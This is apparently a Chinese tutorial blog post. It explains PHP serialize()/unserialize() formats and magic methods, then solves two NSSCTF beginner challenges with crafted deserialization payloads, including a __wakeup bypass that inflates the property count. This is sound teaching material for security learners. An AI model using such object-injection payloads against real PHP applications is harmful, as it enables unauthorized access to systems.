目录
一、PHP序列化:serialize()
1.对象序列化
2.pop链序列化
3.数组序列化
二、反序列化:unserialize()
三、魔术方法
四、NSSCTF相关简单题目
1.[SWPUCTF 2021 新生赛]ez_unserialize
2.[SWPUCTF 2021 新生赛]no_wakeup
学习参考:
PHP反序列化新手入门学习总结_php反序列化
php反序列化漏洞
一、PHP序列化:serialize()
序列化:是将变量或对象转换成字符串的过程
用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
php序列化的字母标识:
a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
各类型值的serialize序列化:
空字符 null -> N;
整型 123 -> i:123;
浮点型 1.5 -> d:1.5;
boolean型 true -> b:1;
boolean型 fal -> b:0;
字符串 “haha” -> s:4:"haha";
1.对象序列化
<?php
class test //定义一个test类
{
public $test1="ll"; //public是访问修饰符
protected $test2="hh";
private $test3="nn";
}
$a=new test();
echo serialize($a);
?>
//输出 O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}
Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名
//大写字母O表示对象,4是类名长度,test为类名,表示该类有3个成员属性
//类中变量的个数3:{类型:长度:“值”;类型:长度:“值”…以此类推}
protected 和private输出时有不可打印字符,如下图。
故类在写payload时通常会使用urlencode()函数编码。
2.pop链序列化
<?php
class test1
{
public $a="ll";
public $b=true;
public $c=123;
}
class test2
{
public $d;
public $h="hhh";
}
$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>
//输出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}
3.数组序列化
<?php
$a=array("ll",123,true);
echo serialize($a);
?>
//输出
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示这是一个数组的序列化,成员属性名为数组的下标,格式 {i:数组下标;类型:长度:“值”; 以此类推}
二、反序列化:unserialize()
反序列化是:将字符串转换成变量或对象的过程
反序列化的结果不能用echo函数,只能用print_r(),var_dump()
<?php
class test
{
public $test1="ll";
public $test2=123;
}
$a=new test();
$b=serialize($a);
print_r(unserialize($b));
$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>
//输出
test Object
(
[test1] => ll
[test2] => 123
)
object(test)#2 (4) {
["test1"]=>
string(2) "ll"
["test2"]=>
int(123)
["a"]=>
string(3) "666"
["b"]=>
int(6666)
}
三、魔术方法
魔术方法是一个预定好的、在特定情况下自动触发的行为方法
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //调用对象不可访问、不存在的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //调用不可访问、不存在的对象成员属性时触发
__set() //在给不可访问、不存在的对象成员属性赋值时触发
__isset() //当对不可访问属性调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //把对象当初函数调用时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //把对象当成字符串调用时触发
__clone() //使用clone关键字拷贝完一个对象后触发
... ...
1.对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法
2.对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()
3.echo $a 把对象当成字符串输出触发了__toString()
$a() 把对象当成函数执行触发了__invoke()
4.$a->h()调用了不存在的方法触发了__call()方法
四、NSSCTF相关简单题目
1.[SWPUCTF 2021 新生赛]ez_unserialize
打开环境只有一个表情包
查看源代码发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录
访问得到环境代码
<?php
error_reporting(0);
show_source("cl45s.php"); // 显示文件 cl45s.php 的源代码
class wllm { // 定义一个名为 wllm 的类
public $admin; // 公共属性 admin
public $passwd; // 公共属性 passwd
public function __construct() { // 构造函数,用于初始化对象
$this->admin = "user"; // 初始化 admin 为 "user"
$this->passwd = "123456"; // 初始化 passwd 为 "123456"
}
public function __destruct() { // 析构函数,用于在对象不再被引用时执行清理操作
// 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
if ($this->admin === "admin" && $this->passwd === "ctf") {
include("flag.php");
echo $flag;
} else {
echo $this->admin; // 打印 admin 的值
echo $this->passwd; // 打印 passwd 的值
echo "Just a bit more!"; // 打印字符串 "Just a bit more!"
}
}
}
$p = $_GET['p']; //GET传参p
unserialize($p); //反序列化p
?>
admin=admin,passwd=ctf时得到flag,序列化p。
PHP 在线工具 | 菜鸟工具
构造payload,得到flag
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
2.[SWPUCTF 2021 新生赛]no_wakeup
打开环境,代码审计
<?php
// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");
// 关闭错误报告,不显示任何错误信息
error_reporting(0);
// 显示文件class.php的源代码
show_source("class.php");
// 定义一个名为HaHaHa的类
class HaHaHa{
// 两个公共属性:admin和passwd
public $admin;
public $passwd;
// 构造函数,当创建新对象时自动调用
public function __construct(){
// 初始化admin为"user",passwd为"123456"
$this->admin ="user";
$this->passwd = "123456";
}
// __wakeup魔术方法,当对象被反序列化时自动调用
public function __wakeup(){
// 将passwd加密为sha1哈希值
$this->passwd = sha1($this->passwd);
}
// __destruct魔术方法,当对象被销毁时自动调用
public function __destruct(){
// 检查admin是否等于"admin"且passwd是否等于"wllm"
if($this->admin === "admin" && $this->passwd === "wllm"){
// 如果条件满足,引入flag.php文件,并输出变量$flag的值
include("flag.php");
echo $flag;
}else{
// 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
echo $this->passwd;
echo "No wake up";
}
}
}
// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
admin=admin,passwd=wllm得到flag,序列化p
<?php
class HaHaHa{
public $admin="admin";
public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>
但其中多了一个
__wakeup
的魔术方法__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行
故构造一个大于2对象的payload,得到flag
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}